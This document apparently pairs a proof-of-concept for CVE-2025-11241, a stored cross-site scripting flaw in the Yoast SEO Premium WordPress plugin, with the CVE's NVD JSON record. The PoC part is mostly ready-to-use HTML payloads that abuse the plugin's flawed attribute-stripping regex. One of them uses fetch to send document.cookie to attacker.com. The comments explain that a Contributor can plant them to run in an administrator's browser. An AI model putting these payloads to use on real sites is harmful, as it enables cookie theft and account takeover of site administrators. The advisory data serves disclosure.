CVE-2025-11241

<!-- CVE-2025-11241 PoC: Yoast SEO Premium Stored XSS via flawed regex --> <!-- The vulnerability exists in versions 25.7 to 25.9 --> <!-- The plugin uses a flawed regex to strip a specific attribute from post content --> <!-- By crafting nested or specially formatted HTML, attackers can bypass the filter --> <!-- Example 1: Bypass via nested attribute injection --> <p title="innocent" onmouseover="alert(document.cookie)">Hover me</p> <!-- Example 2: Exploiting regex limitation with crafted attribute --> <img src="x" alt="test\" onerror=\"alert('XSS-CVE-2025-11241')\" data-x=""> <!-- Example 3: Using the attribute that the regex tries to remove --> <!-- The regex may try to remove a specific attribute but can be bypassed --> <div class="legit\" onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\" data-class="">Content</div> <!-- As a Contributor-level user, create a post with the above payload --> <!-- When an admin or other user views the post, the JavaScript executes -->

{"cve": {"id": "CVE-2025-11241", "sourceIdentifier": "[email protected]", "published": "2025-10-03T02:15:30.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Yoast SEO Premium plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions 25.7 to 25.9 due to a flawed regex used to remove an attribute in post content, which can be abused to inject arbitrary HTML attributes, including JavaScript event handlers. This vulnerability allows a user with Contributor access or higher to create a post containing a malicious JavaScript payload."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://developer.yoast.com/changelog/yoast-seo-premium/26.0/", "source": "[email protected]"}, {"url": "https://sec.stealthcopter.com/regexss/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a6e3645d-ed1b-4c51-a463-c2691cb7168d?source=cve", "source": "[email protected]"}]}}